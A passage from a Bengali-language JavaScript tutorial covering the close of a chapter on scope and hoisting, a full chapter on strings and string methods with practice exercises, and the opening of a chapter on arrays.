7.44 Scope-এর Golden Rule 🏆

মনে রাখবে:

Global ↓ Outer Function ↓ Inner Function ↓ Block

Inner scope সাধারণত outer scope access করতে পারে।

কিন্তু outer scope inner scope-এর variable সরাসরি access করতে পারে না।

7.45 Scope-এর Real-life Full Example

ধরো একটি e-commerce website:

JavaScriptCode
let shopName = "Tech Shop";

function customer() {

    let customerName = "Ripon";

    function order() {

        let product = "Laptop";

        console.log(shopName);
        console.log(customerName);
        console.log(product);
    }

    order();
}

customer();
Output
Tech Shop Ripon Laptop

এখানে:

Global shopName customer() customerName order() product

order() সব outer scope access করতে পারে।

7.46 কেন Scope গুরুত্বপূর্ণ?

Real-world application-এ scope ব্যবহার হয়:

1. Data protection

সব variable global না রেখে নির্দিষ্ট জায়গায় রাখা যায়।

2. Name conflict কমানো

JavaScript2. Name conflict কমানো
let name = "A";

অন্য scope-এ আবার:

JavaScript2. Name conflict কমানো
let name = "B";

থাকতে পারে।

3. Code maintainability

বড় project-এ কোন variable কোথায় ব্যবহার করা যাবে তা পরিষ্কার থাকে।

4. Security/encapsulation

Internal data বাইরে expose না করে রাখা যায়।

7.47 Best Practice

Modern JavaScript-এ সাধারণত:

JavaScriptCode
const

প্রথম পছন্দ।

Value পরিবর্তন করতে হলে:

JavaScriptCode
let

আর:

JavaScriptCode
var

সাধারণত avoid করা হয় modern code-এ।

Example

❌ পুরোনো style:

JavaScriptExample
var username = "Ripon";

✅ Modern:

JavaScriptExample
const username = "Ripon";

যদি value পরিবর্তন হয়:

JavaScriptExample
let score = 0;

score = 10;
Part 06 — Comprehensive Cheat Sheet, Must Know & Practice Lab
CHEAT SHEET 🧠 Quick Cheat Sheet
Conceptসহজ অর্থ
ScopeVariable কোথায় accessible
Global Scopeপ্রায় পুরো script/module-এর top-level scope
Function ScopeFunction-এর ভিতরের scope
Block Scope{ } block-এর scope
Scope Chainএক scope থেকে outer scope-এ variable খোঁজা
Lexical ScopeCode কোথায় লেখা হয়েছে তার ভিত্তিতে scope
ShadowingInner variable outer variable-কে আড়াল করে
HoistingExecution-এর আগে declaration setup
TDZlet/const declaration-এর আগের inaccessible period
varFunction scoped
letBlock scoped
constBlock scoped + reassignment করা যায় না
MUST KNOW 🔥 Chapter 7 — Must Know

এই chapter থেকে অবশ্যই এগুলো ভালোভাবে জানতে হবে:

1. Scope কী? 2. Global Scope 3. Function Scope 4. Block Scope 5. var vs let vs const 6. Nested Scope 7. Scope Chain 8. Lexical Scope 9. Shadowing 10. Hoisting 11. var Hoisting 12. let/const + TDZ 13. Function Hoisting 14. Function Declaration vs Function Expression 15. Declaration vs Initialization
PRACTICE LAB 📝 Practice Set

Practice 1

Output কী হবে?

JavaScriptCode
let x = 10;

function test() {
    let x = 20;
    console.log(x);
}

test();
console.log(x);

Practice 2

Output কী হবে?

JavaScriptCode
var x = 10;

if (true) {
    var x = 20;
}

console.log(x);

Practice 3

Output কী হবে?

JavaScriptCode
let x = 10;

if (true) {
    let x = 20;
    console.log(x);
}

console.log(x);

Practice 4

Output কী হবে?

JavaScriptCode
console.log(a);

var a = 100;

Practice 5

Output কী হবে?

JavaScriptCode
console.log(a);

let a = 100;

Practice 6

Output কী হবে?

JavaScriptCode
hello();

function hello() {
    console.log("Hello JavaScript");
}

Practice 7

Output কী হবে?

JavaScriptCode
var x = 10;

function test() {
    console.log(x);

    var x = 20;
}

test();

Practice 8

এই code-এ error কেন হচ্ছে?

JavaScriptCode
function test() {
    let name = "Ripon";
}

test();

console.log(name);
SUMMARY 🎯 Chapter 7-এর মূল ধারণা এক লাইনে
Core Rule: Scope বলে variable কোথায় ব্যবহার করা যাবে, আর Hoisting বোঝায় JavaScript execution-এর আগে declaration কীভাবে setup করে।

পরের chapter হবে:

NEXT CHAPTER 🚀 Chapter 8 Preview — Strings

String তৈরি → indexing → length → methods → slicing → searching → replacing → splitting → joining → template literals → escape characters → Unicode → string immutability → practical projects.

Chapter 08
↑ Index
Strings & Text Processing — স্ট্রিং ও টেক্সট প্রসেসিং
Total Sections
75 Modules + Projects
Curriculum Part
Part 04 — Core Data Structures (1/3)
Core Mechanics
Immutability, Unicode & Text Parsing
Reference Standard
ECMAScript 2026 / V8 Runtime

Strings — String / টেক্সট নিয়ে কাজ

JavaScript-এ String হলো text বা character-এর sequence। যেমন:

JavaScriptExamples
let name = "Shariar";
let university = "Daffodil International University";
let message = "Hello JavaScript!";

এগুলো সবই String

Part 01 — String Creation, Quotes & Escape Characters (8.1 – 8.9)
8.1 String কী?

সহজভাবে:

Core Definition: String = এক বা একাধিক character-এর collection যা text represent করে।
Real-Life Example

একটি website-এ:

Name: Shariar Ahamed Ripon Email: ripon@example.com Address: Dhaka, Bangladesh

এখানে Name, Email, Address-এর value—সবই String।

8.2 String তৈরি করার ৩টি উপায়

JavaScript-এ String সাধারণত তিনভাবে লেখা যায়:

1. Double Quotes

JavaScript1. Double Quotes
let name = "Shariar";

2. Single Quotes

JavaScript2. Single Quotes
let name = 'Shariar';

3. Backticks

JavaScript3. Backticks
let name = `Shariar`;

তিনটিই valid।

8.3 Single Quote vs Double Quote
JavaScriptCode
let name1 = "Shariar";
let name2 = 'Shariar';

console.log(name1);
console.log(name2);
Output
Shariar Shariar

কাজের দিক থেকে দুটোই প্রায় একই।

8.4 Backticks

Backtick:

`

এটি বিশেষভাবে গুরুত্বপূর্ণ কারণ এর মাধ্যমে Template Literal ব্যবহার করা যায়।

JavaScriptCode
let name = `Shariar`;

console.log(name);

Output:

Shariar

Template Literal আমরা পরে বিস্তারিত দেখব।

8.5 String-এর মধ্যে Quote ব্যবহার

ধরো text-এর মধ্যে quotation mark লাগবে।

JavaScriptCode
let message = 'He said "Hello"';

console.log(message);
Output
He said "Hello"

অথবা:

JavaScriptCode
let message = "It's a beautiful day";

console.log(message);

Output:

It's a beautiful day
8.6 Escape Character

String-এর মধ্যে একই ধরনের quote ব্যবহার করতে হলে \ ব্যবহার করা যায়।

JavaScriptCode
let message = "He said \"Hello\"";

console.log(message);
Output
He said "Hello"

এখানে:

\"

মানে quote-টিকে String-এর শেষ হিসেবে না ধরে character হিসেবে ব্যবহার করো।

8.7 Common Escape Characters
Escapeঅর্থ
\"Double quote
\'Single quote
\\Backslash
\nNew line
\tTab
\rCarriage return
\bBackspace
\fForm feed
8.8 New Line — \n
JavaScriptCode
let message = "Hello\nJavaScript";

console.log(message);
Output
Hello JavaScript

Real-life example:

JavaScriptCode
let address = "Dhaka\nBangladesh";

console.log(address);

Output:

Dhaka Bangladesh
8.9 Tab — \t
JavaScriptCode
console.log("Name:\tShariar");

Output:

Name: Shariar
Part 02 — Length, Indexing & Character Access (8.10 – 8.20)
8.10 String Length

String-এর character সংখ্যা জানতে:

JavaScriptCode
.length

ব্যবহার করা হয়।

JavaScriptCode
let name = "Shariar";

console.log(name.length);
Output
7

কারণ:

S h a r i a r 1 2 3 4 5 6 7
8.11 Space-ও Character
JavaScriptCode
let name = "Shariar Ahamed";

console.log(name.length);

Space-ও count হবে।

8.12 String Index

JavaScript-এ String-এর প্রতিটি character-এর একটি index থাকে।

Index শুরু হয়:

0

থেকে।

JavaScriptCode
let name = "Ripon";

এটা:

R i p o n 0 1 2 3 4
8.13 Character Access — []
JavaScriptCode
let name = "Ripon";

console.log(name[0]);
console.log(name[1]);
console.log(name[4]);
Output
R i n
8.14 প্রথম Character
JavaScriptCode
let name = "JavaScript";

console.log(name[0]);

Output:

J
8.15 শেষ Character

শেষ character বের করতে:

JavaScriptCode
let name = "JavaScript";

console.log(name[name.length - 1]);

Output:

t

কারণ length:

10

শেষ index:

10 - 1 = 9
8.16 .at() Method

শেষ character আরও সহজে:

JavaScriptCode
let name = "JavaScript";

console.log(name.at(-1));

Output:

t

at() negative index support করে।

JavaScriptCode
console.log(name.at(-2));

Output:

p
8.17 charAt()
JavaScriptCode
let name = "Ripon";

console.log(name.charAt(0));
console.log(name.charAt(2));

Output:

R p

[] বনাম charAt()

JavaScript[] বনাম charAt()
let name = "Ripon";

console.log(name[10]);
console.log(name.charAt(10));

Output:

undefined

charAt() invalid index-এ empty string ("") দেয়, আর [] সাধারণত undefined দেয়।

8.18 String Concatenation

দুই বা তার বেশি String একসাথে যুক্ত করাকে Concatenation বলে।

JavaScriptCode
let firstName = "Shariar";
let lastName = "Ripon";

let fullName = firstName + " " + lastName;

console.log(fullName);
Output
Shariar Ripon
8.19 String + Number
JavaScriptCode
let age = 23;

console.log("Age: " + age);

Output:

Age: 23

JavaScript এখানে number-কে String-এর সাথে concatenate করেছে।

8.20 += দিয়ে String যোগ
JavaScriptCode
let message = "Hello";

message += " ";
message += "JavaScript";

console.log(message);

Output:

Hello JavaScript
Part 03 — Template Literals & Case Transformation (8.21 – 8.31)
8.21 Template Literals

Modern JavaScript-এ String তৈরি করার সবচেয়ে useful featureগুলোর একটি হলো:

Core Definition: Template Literal

Backtick ব্যবহার করতে হয়:

JavaScriptCode
` `
Example
JavaScriptExample
let name = "Shariar";
let age = 23;

let message = `My name is ${name} and I am ${age} years old.`;

console.log(message);
Output
My name is Shariar and I am 23 years old.
8.22 ${} কী?

Template Literal-এর মধ্যে:

JavaScriptCode
${variable}

ব্যবহার করে variable-এর value বসানো যায়।

JavaScriptCode
let product = "Laptop";
let price = 75000;

console.log(`Product: ${product}`);
console.log(`Price: ${price} BDT`);

Output:

Product: Laptop Price: 75000 BDT
8.23 Expression-এর ব্যবহার

শুধু variable নয়, expression-ও দেওয়া যায়।

JavaScriptCode
let a = 10;
let b = 20;

console.log(`Total = ${a + b}`);

Output:

Total = 30
8.24 Function-এর Result
JavaScriptCode
function getName() {
    return "Shariar";
}

console.log(`Hello ${getName()}`);

Output:

Hello Shariar
8.25 Multiline String

Normal quote-এ:

JavaScriptCode
let message = "Hello
JavaScript";

এভাবে সরাসরি লিখলে error হবে।

কিন্তু Template Literal:

JavaScriptCode
let message = `Hello
JavaScript
World`;

console.log(message);

Output:

Hello JavaScript World
8.26 toUpperCase()

String-এর সব letter uppercase করতে:

JavaScriptCode
let name = "shariar";

console.log(name.toUpperCase());

Output:

SHARIAR
8.27 toLowerCase()
JavaScriptCode
let name = "SHARIAR";

console.log(name.toLowerCase());

Output:

shariar
8.28 Real-life Example — Login

User email:

JavaScriptCode
let email = "USER@GMAIL.COM";

console.log(email.toLowerCase());

Output:

user@gmail.com

Login system-এ case normalization-এর মতো কাজে এটি useful হতে পারে।

8.29 trim()

User input-এর শুরু বা শেষে extra space থাকলে:

JavaScriptCode
let username = "   Shariar   ";

console.log(username.trim());

Output:

Shariar

এটি:

" Shariar "

কে:

"Shariar"

করে।

8.30 trimStart()

শুধু শুরু থেকে whitespace remove:

JavaScriptCode
let text = "   Hello";

console.log(text.trimStart());

Output:

Hello
8.31 trimEnd()

শুধু শেষ থেকে:

JavaScriptCode
let text = "Hello   ";

console.log(text.trimEnd());

Output:

Hello
Part 04 — Searching, Checking & Substring Extraction (8.32 – 8.45)
8.32 includes()

কোনো String-এর মধ্যে নির্দিষ্ট text আছে কিনা check করতে:

JavaScriptCode
let message = "I love JavaScript";

console.log(message.includes("JavaScript"));

Output:

true

না থাকলে:

JavaScriptCode
console.log(message.includes("Python"));

Output:

false
8.33 Real-life Example — Search
JavaScriptCode
let title = "JavaScript Complete Course";

let search = "JavaScript";

if (title.includes(search)) {
    console.log("Match found");
}

Output:

Match found
8.34 startsWith()

String কোনো নির্দিষ্ট text দিয়ে শুরু হয়েছে কিনা:

JavaScriptCode
let url = "https://example.com";

console.log(url.startsWith("https"));

Output:

true
8.35 endsWith()
JavaScriptCode
let file = "profile.jpg";

console.log(file.endsWith(".jpg"));

Output:

true

Real-life:

JavaScriptCode
let file = "document.pdf";

if (file.endsWith(".pdf")) {
    console.log("PDF file");
}
8.36 indexOf()

কোনো text কোথায় আছে তা বের করতে:

JavaScriptCode
let text = "I love JavaScript";

console.log(text.indexOf("JavaScript"));

Output:

7

কারণ "JavaScript" শুরু হয়েছে index 7 থেকে।

8.37 indexOf() না পেলে
JavaScriptCode
let text = "I love JavaScript";

console.log(text.indexOf("Python"));

Output:

-1

অর্থাৎ:

-1 = পাওয়া যায়নি
8.38 lastIndexOf()

একই text একাধিকবার থাকলে শেষ occurrence-এর index পাওয়া যায়।

JavaScriptCode
let text = "JavaScript is great. JavaScript is powerful.";

console.log(text.lastIndexOf("JavaScript"));

Output:

21
8.39 search()
JavaScriptCode
let text = "I love JavaScript";

console.log(text.search("JavaScript"));

Output:

7

search() পরে Regex-এর সাথে আরও useful হবে।

8.40 slice()

String-এর একটি অংশ বের করতে:

JavaScriptCode
slice(start, end)
Example
JavaScriptExample
let text = "JavaScript";

console.log(text.slice(0, 4));

Output:

Java

মনে রাখবে:

Core Definition: end index include হয় না।
8.41 slice() Example
JavaScriptCode
let text = "JavaScript";

console.log(text.slice(4, 10));

Output:

Script

Index:

J a v a S c r i p t 0 1 2 3 4 5 6 7 8 9
8.42 Negative slice()
JavaScriptCode
let text = "JavaScript";

console.log(text.slice(-6));

Output:

Script

শেষ ৬টি character।

8.43 substring()
JavaScriptCode
let text = "JavaScript";

console.log(text.substring(0, 4));

Output:

Java

substring() negative index-কে 0 হিসেবে treat করে।

8.44 slice() vs substring()
Featureslice()substring()
Negative index
End excluded
সাধারণ ব্যবহারবেশিকম

Modern code-এ অনেক ক্ষেত্রে slice() বেশি convenient।

8.45 substr() — পুরোনো Method
JavaScriptCode
text.substr(start, length)

এটি পুরোনো/deprecated API।

নতুন code-এ সাধারণত ব্যবহার না করে:

JavaScriptCode
slice()

ব্যবহার করা ভালো।

Part 05 — Replacing, Splitting, Padding & Immutability (8.46 – 8.58)
8.46 replace()

String-এর একটি অংশ replace করতে:

JavaScriptCode
let text = "I love JavaScript";

let result = text.replace("JavaScript", "Python");

console.log(result);

Output:

I love Python
8.47 Important — replace() Original String পরিবর্তন করে না
JavaScriptCode
let text = "Hello World";

let result = text.replace("World", "JavaScript");

console.log(text);
console.log(result);

Output:

Hello World Hello JavaScript

কারণ String immutable

8.48 String Immutability

এটি খুব গুরুত্বপূর্ণ।

String তৈরি হওয়ার পর তার character সরাসরি পরিবর্তন করা যায় না।

JavaScriptCode
let name = "Ripon";

name[0] = "S";

console.log(name);

Output:

Ripon

RS হয়নি।

8.49 তাহলে String পরিবর্তন কীভাবে হয়?

নতুন String তৈরি হয়।

JavaScriptCode
let name = "Ripon";

name = "Shariar";

console.log(name);

এখানে পুরোনো String পরিবর্তন না হয়ে নতুন value assign হয়েছে।

8.50 replaceAll()

সব occurrence replace করতে:

JavaScriptCode
let text = "apple apple apple";

console.log(text.replaceAll("apple", "banana"));

Output:

banana banana banana
8.51 concat()

দুটি String যুক্ত করতে:

JavaScriptCode
let first = "Hello";
let second = "World";

console.log(first.concat(" ", second));

Output:

Hello World

তবে modern JavaScript-এ সাধারণত:

JavaScriptCode
first + " " + second

অথবা template literal বেশি readable।

8.52 split()

String-কে Array-তে ভাগ করতে:

JavaScriptCode
let text = "HTML CSS JavaScript";

let result = text.split(" ");

console.log(result);

Output:

["HTML", "CSS", "JavaScript"]
8.53 split() with Comma
JavaScriptCode
let skills = "HTML,CSS,JavaScript,React";

console.log(skills.split(","));

Output:

["HTML", "CSS", "JavaScript", "React"]

এটি real-world data processing-এ খুব useful।

8.54 String → Array → String
JavaScriptCode
let skills = "HTML,CSS,JavaScript";

let arr = skills.split(",");

console.log(arr);

let result = arr.join(" | ");

console.log(result);

Output:

["HTML", "CSS", "JavaScript"] HTML | CSS | JavaScript
8.55 repeat()

একটি String নির্দিষ্ট সংখ্যকবার repeat করতে:

JavaScriptCode
let text = "Hi ";

console.log(text.repeat(3));

Output:

Hi Hi Hi
8.56 padStart()

String-এর শুরুতে character যোগ করে নির্দিষ্ট length করা যায়।

JavaScriptCode
let number = "5";

console.log(number.padStart(3, "0"));

Output:

005
8.57 padEnd()
JavaScriptCode
let number = "5";

console.log(number.padEnd(3, "0"));

Output:

500
8.58 Real-life Example — Invoice Number
JavaScriptCode
let invoiceNumber = "25";

let formatted = invoiceNumber.padStart(5, "0");

console.log(formatted);

Output:

00025
Part 06 — Unicode, Objects, Conversion & Real-Life Projects (8.59 – 8.75)
8.59 charCodeAt()

Character-এর UTF-16 code unit value পাওয়া যায়।

JavaScriptCode
let letter = "A";

console.log(letter.charCodeAt(0));

Output:

65

আর:

JavaScriptCode
console.log("a".charCodeAt(0));

Output:

97
8.60 String.fromCharCode()

Code value থেকে String character তৈরি করা যায়।

JavaScriptCode
console.log(String.fromCharCode(65));

Output:

A
8.61 Unicode

JavaScript String Unicode text handle করতে পারে।

JavaScriptCode
let text = "বাংলাদেশ";

console.log(text);

Output:

বাংলাদেশ

আর:

JavaScriptCode
let text = "Hello 👋";

console.log(text);

Output:

Hello 👋
8.62 localeCompare()

দুটি String compare করতে:

JavaScriptCode
console.log("apple".localeCompare("banana"));

সাধারণত negative result পাওয়া যাবে, কারণ "apple" আগে।

JavaScriptCode
console.log("banana".localeCompare("apple"));

সাধারণত positive result।

JavaScriptCode
console.log("apple".localeCompare("apple"));

Output:

0

Sorting-এর সময় এটি useful।

8.63 Case-sensitive Comparison
JavaScriptCode
console.log("hello" === "Hello");

Output:

false

কারণ:

h ≠ H
8.64 Case-insensitive Comparison

দুটিকে একই case-এ convert করে compare করতে পারো:

JavaScriptCode
let a = "Hello";
let b = "HELLO";

console.log(a.toLowerCase() === b.toLowerCase());

Output:

true
8.65 String Object বনাম Primitive String

সাধারণভাবে:

JavaScriptCode
let name = "Ripon";

এটি primitive String।

আর:

JavaScriptCode
let name = new String("Ripon");

এটি String object।

Important

সাধারণ application code-এ:

JavaScriptImportant
new String()

ব্যবহার না করাই ভালো।

Primitive String ব্যবহার করো:

JavaScriptImportant
let name = "Ripon";
8.66 typeof String
JavaScriptCode
let name = "Ripon";

console.log(typeof name);

Output:

string

কিন্তু:

JavaScriptCode
let name = new String("Ripon");

console.log(typeof name);

Output:

object
8.67 String Conversion

Number → String:

JavaScriptCode
let age = 23;

console.log(String(age));

Output:

"23"

অথবা:

JavaScriptCode
console.log(age.toString());

Output:

"23"
8.68 Real-life Example — User Input

Browser-এর form input সাধারণত String হিসেবে আসে।

JavaScriptCode
let age = "23";

console.log(typeof age);

Output:

string

Number হিসেবে দরকার হলে:

JavaScriptCode
let numericAge = Number(age);

console.log(numericAge);
console.log(typeof numericAge);

Output:

23 number
8.69 String Methods একসাথে

একটি String:

JavaScriptCode
let text = "  JavaScript is Awesome  ";

এর উপর:

JavaScriptCode
console.log(text.trim());
console.log(text.toUpperCase());
console.log(text.toLowerCase());
console.log(text.includes("JavaScript"));
console.log(text.startsWith("  Java"));
console.log(text.endsWith("  "));

এভাবে বিভিন্ন operation করা যায়।

8.70 Real-life Project Example — Username Formatter

ধরো user লিখেছে:

SHARIAR AHAMED RIPON

আমরা চাই:

shariar ahamed ripon

Code:

JavaScriptCode
let username = "   SHARIAR AHAMED RIPON   ";

let formattedUsername = username
    .trim()
    .toLowerCase();

console.log(formattedUsername);

Output:

shariar ahamed ripon
8.71 Real-life Example — Email Normalization
JavaScriptCode
let email = "   USER@GMAIL.COM   ";

email = email.trim().toLowerCase();

console.log(email);

Output:

user@gmail.com
8.72 Real-life Example — File Extension
JavaScriptCode
let fileName = "profile.png";

if (fileName.endsWith(".png")) {
    console.log("PNG image detected");
}

Output:

PNG image detected
8.73 Real-life Example — Search Box
JavaScriptCode
let product = "HP Laptop Core i5";

let search = "laptop";

if (product.toLowerCase().includes(search.toLowerCase())) {
    console.log("Product found");
}

Output:

Product found

এটি e-commerce search functionality-এর basic concept।

8.74 Real-life Example — Generate Profile Message
JavaScriptCode
let name = "Shariar";
let skill = "Full Stack Development";
let experience = 1;

let message = `
Hello, I am ${name}.
I am learning ${skill}.
Experience: ${experience} year.
`;

console.log(message);

Output:

Hello, I am Shariar. I am learning Full Stack Development. Experience: 1 year.
8.75 String Methods Cheat Sheet 🧠
Methodকাজ
.lengthString-এর length
[index]Character access
.at()Character access
.charAt()Character access
.toUpperCase()Uppercase
.toLowerCase()Lowercase
.trim()দুই পাশের whitespace remove
.trimStart()শুরু থেকে whitespace remove
.trimEnd()শেষ থেকে whitespace remove
.includes()text আছে কিনা
.startsWith()শুরু check
.endsWith()শেষ check
.indexOf()প্রথম occurrence-এর index
.lastIndexOf()শেষ occurrence-এর index
.search()Search
.slice()অংশ বের করা
.substring()অংশ বের করা
.replace()একটি occurrence replace
.replaceAll()সব occurrence replace
.concat()String যোগ
.split()String → Array
.repeat()Repeat
.padStart()শুরুতে padding
.padEnd()শেষে padding
.charCodeAt()Character code
String.fromCharCode()Code → Character
.localeCompare()String comparison
Part 07 — Comprehensive Mental Map, Key Concepts & Practice Lab
MENTAL MAP 🔥 String-এর সবচেয়ে গুরুত্বপূর্ণ বিষয় (Architecture Tree)

এই flow-টা মনে রাখো:

String │ ├── Create │ ├── "Hello" │ ├── 'Hello' │ └── `Hello` │ ├── Access │ ├── [index] │ ├── at() │ └── charAt() │ ├── Information │ └── length │ ├── Transform │ ├── toUpperCase() │ ├── toLowerCase() │ ├── trim() │ └── replace() │ ├── Search │ ├── includes() │ ├── indexOf() │ ├── startsWith() │ └── endsWith() │ ├── Extract │ ├── slice() │ └── substring() │ ├── Convert │ └── split() │ └── Template └── `${}`
CORE CONCEPTS 🧠 খুব গুরুত্বপূর্ণ Concept

String Immutable

JavaScriptString Immutable
let text = "Hello";

text[0] = "Y";

console.log(text);

Output:

Hello

String-এর character সরাসরি পরিবর্তন করা যায় না।

slice() end index include করে না

JavaScriptslice() end index include করে না
let text = "JavaScript";

console.log(text.slice(0, 4));

Output:

Java

includes() Boolean দেয়

JavaScriptincludes() Boolean দেয়
"JavaScript".includes("Script");

Result:

true

indexOf() না পেলে -1

JavaScriptindexOf() না পেলে -1
"Hello".indexOf("x");

Result:

-1

split() String-কে Array বানায়

JavaScriptsplit() String-কে Array বানায়
"HTML,CSS,JS".split(",");

Result:

JavaScriptsplit() String-কে Array বানায়
["HTML", "CSS", "JS"]
PRACTICE LAB 📝 Practice Set — Chapter 8

Practice 1

Output কী হবে?

JavaScriptCode
let name = "JavaScript";

console.log(name.length);
console.log(name[0]);
console.log(name[name.length - 1]);

Practice 2

Output কী হবে?

JavaScriptCode
let text = "Hello JavaScript";

console.log(text.toUpperCase());
console.log(text.toLowerCase());

Practice 3

User input:

JavaScriptCode
let username = "   SHARIAR   ";

এমন code লেখো যাতে output হয়:

shariar

Practice 4

Check করো:

JavaScriptCode
let email = "user@gmail.com";

Email-এর মধ্যে @ আছে কিনা।

Practice 5

Check করো:

JavaScriptCode
let file = "profile.jpg";

এটি .jpg file কিনা।

Practice 6

এই String থেকে:

JavaScriptCode
let text = "JavaScript";

শুধু:

Script

বের করো।

Practice 7

JavaScriptCode
let skills = "HTML,CSS,JavaScript,React";

এটিকে Array বানাও।

Expected:

JavaScriptCode
["HTML", "CSS", "JavaScript", "React"]

Practice 8

নিচের output তৈরি করো:

My name is Shariar. I am 23 years old. I am learning JavaScript.

Template Literal ব্যবহার করে।

Practice 9 — Mini Project 💻

একটি product data:

JavaScriptCode
let productName = "  HP LAPTOP  ";
let price = 75000;
let category = "electronics";

Output:

Product: HP LAPTOP Price: 75000 BDT Category: ELECTRONICS

এখানে ব্যবহার করবে:

  • trim()
  • toUpperCase()
  • Template Literal
SUMMARY 🎯 Chapter 8 Final Summary

এই chapter-এ আমরা শিখলাম:

✅ String কী ✅ Single / Double / Backtick ✅ Escape Characters ✅ String Length ✅ Indexing ✅ at() ✅ charAt() ✅ Concatenation ✅ Template Literals ✅ ${expression} ✅ Multiline Strings ✅ toUpperCase() ✅ toLowerCase() ✅ trim() ✅ includes() ✅ startsWith() ✅ endsWith() ✅ indexOf() ✅ lastIndexOf() ✅ search() ✅ slice() ✅ substring() ✅ replace() ✅ replaceAll() ✅ concat() ✅ split() ✅ repeat() ✅ padStart() ✅ padEnd() ✅ charCodeAt() ✅ Unicode ✅ localeCompare() ✅ String Conversion ✅ String Immutability

⭐ সবচেয়ে বেশি ব্যবহার হবে

JavaScript⭐ সবচেয়ে বেশি ব্যবহার হবে
length
[]
at()
toUpperCase()
toLowerCase()
trim()
includes()
startsWith()
endsWith()
indexOf()
slice()
replace()
split()
NEXT CHAPTER 🚀 Chapter 9 Preview — Arrays

পরবর্তী অধ্যায় হবে 📘 Chapter 9 — Arrays, যেখানে আমরা Array তৈরি, indexing, push(), pop(), shift(), unshift(), slice(), splice(), find(), filter(), map(), reduce(), sort(), forEach(), nested arrays, array destructuring এবং real-life projectsসহ বিস্তারিত শিখব।

Chapter 09
↑ Index
Arrays & Modern Collections — অ্যারে ও আধুনিক কালেকশন
Total Sections
89 Modules + 3 Projects
Curriculum Part
Part 04 — Core Data Structures (2/3)
Core Mechanics
Indexing, Mutability, Iteration & FP
Reference Standard
ECMAScript 2026 / V8 Runtime

Arrays — একসাথে অনেক Data সংরক্ষণ

JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ data structures-এর একটি হলো Array। এতদিন আমরা একটি variable-এ একটি value রাখতাম:

JavaScriptSingle Value
let name = "Shariar";

কিন্তু ধরো ১০০ জন student-এর নাম রাখতে হবে। আলাদা ১০০টা variable বানানো practical নয়। তখন আমরা Array ব্যবহার করব:

JavaScriptMultiple Values Array
let students = [
    "Shariar",
    "Rahim",
    "Karim",
    "Sakib"
];
Part 01 — Array Fundamentals, Creation, Indexing & Basic Mutation (9.1 – 9.17)
9.1 Array কী?
Array হলো একটি ordered collection যেখানে একাধিক value একটি variable-এর মধ্যে রাখা যায়।
💡 Real-life Example

একটি shopping cart:

🛒 Shopping Cart │ ├── Laptop ├── Mouse ├── Keyboard └── Headphone

JavaScript:

9.1 JavaScriptRun
let cart = [
    "Laptop",
    "Mouse",
    "Keyboard",
    "Headphone"
];
9.2 Array তৈরি করা

সবচেয়ে common syntax:

9.2 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];
Text
["Apple", "Banana", "Mango"]

আরেকভাবে:

9.2 JavaScriptRun
let fruits = new Array("Apple", "Banana", "Mango");

তবে modern JavaScript-এ সাধারণত:

9.2 JavaScriptRun
[]

ব্যবহার করা হয়।

9.3 Array Index

Array-এর index শুরু হয়:

Text
0

থেকে।

9.3 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

এটি:

Index: 0 1 2 ↓ ↓ ↓ Value: Apple Banana Mango
9.4 Array থেকে Value Access
9.4 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

console.log(fruits[0]);
console.log(fruits[1]);
console.log(fruits[2]);
CONSOLE OUTPUT
Apple
Banana
Mango
9.5 প্রথম Element
9.5 JavaScriptRun
let skills = ["HTML", "CSS", "JavaScript"];

console.log(skills[0]);
Text
HTML
9.6 শেষ Element
9.6 JavaScriptRun
let skills = ["HTML", "CSS", "JavaScript"];

console.log(skills[skills.length - 1]);
Text
JavaScript

অথবা modern JavaScript:

9.6 JavaScriptRun
console.log(skills.at(-1));
Text
JavaScript
9.7 Array Length
9.7 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

console.log(fruits.length);
Text
3

length হলো মোট element সংখ্যা।

9.8 Array-তে বিভিন্ন ধরনের Data রাখা যায়

JavaScript Array-তে একই Array-তে বিভিন্ন type রাখা সম্ভব।

9.8 JavaScriptRun
let data = [
    "Shariar",
    23,
    true,
    null
];

console.log(data);
Text
["Shariar", 23, true, null]

এমনকি object/function-ও রাখা যায়।

9.8 JavaScriptRun
let data = [
    "Ripon",
    23,
    { city: "Dhaka" },
    function () {
        console.log("Hello");
    }
];

তবে real-world application-এ একই ধরনের data রাখা সাধারণত বেশি পরিষ্কার।

9.9 Array Element পরিবর্তন

Array-এর element directly পরিবর্তন করা যায়।

9.9 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

fruits[1] = "Orange";

console.log(fruits);
CONSOLE OUTPUT
["Apple", "Orange", "Mango"]

এখানে:

Banana → Orange

হয়ে গেছে।

9.10 নতুন Element যোগ করা

শেষে element যোগ করতে:

9.10 JavaScriptRun
push()
9.10 JavaScriptRun
let fruits = ["Apple", "Banana"];

fruits.push("Mango");

console.log(fruits);
Text
["Apple", "Banana", "Mango"]
9.11 push() একাধিক Element
9.11 JavaScriptRun
let fruits = ["Apple"];

fruits.push("Banana", "Mango", "Orange");

console.log(fruits);
Text
["Apple", "Banana", "Mango", "Orange"]
9.12 push() কী Return করে?
এটা গুরুত্বপূর্ণ।
9.12 JavaScriptRun
let fruits = ["Apple", "Banana"];

let result = fruits.push("Mango");

console.log(result);
Text
3

push() নতুন Array length return করে।

9.13 শেষ Element Remove — pop()
9.13 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

let removed = fruits.pop();

console.log(removed);
console.log(fruits);
Text
Mango
["Apple", "Banana"]
9.14 pop() কী Return করে?

pop() যে element remove করে, সেটিই return করে।

9.14 JavaScriptRun
let numbers = [10, 20, 30];

let removed = numbers.pop();

console.log(removed);
Text
30
9.15 প্রথমে Element যোগ — unshift()

Array-এর শুরুতে element যোগ করতে:

9.15 JavaScriptRun
let fruits = ["Banana", "Mango"];

fruits.unshift("Apple");

console.log(fruits);
Text
["Apple", "Banana", "Mango"]
9.16 প্রথম Element Remove — shift()
9.16 JavaScriptRun
let fruits = ["Apple", "Banana", "Mango"];

let removed = fruits.shift();

console.log(removed);
console.log(fruits);
Text
Apple
["Banana", "Mango"]
9.17 Array-এর ৪টি Basic Method
এগুলো খুব ভালোভাবে মনে রাখবে:
Methodকাজ
push()শেষে যোগ
pop()শেষ থেকে remove
unshift()শুরুতে যোগ
shift()শুরু থেকে remove

Visual:

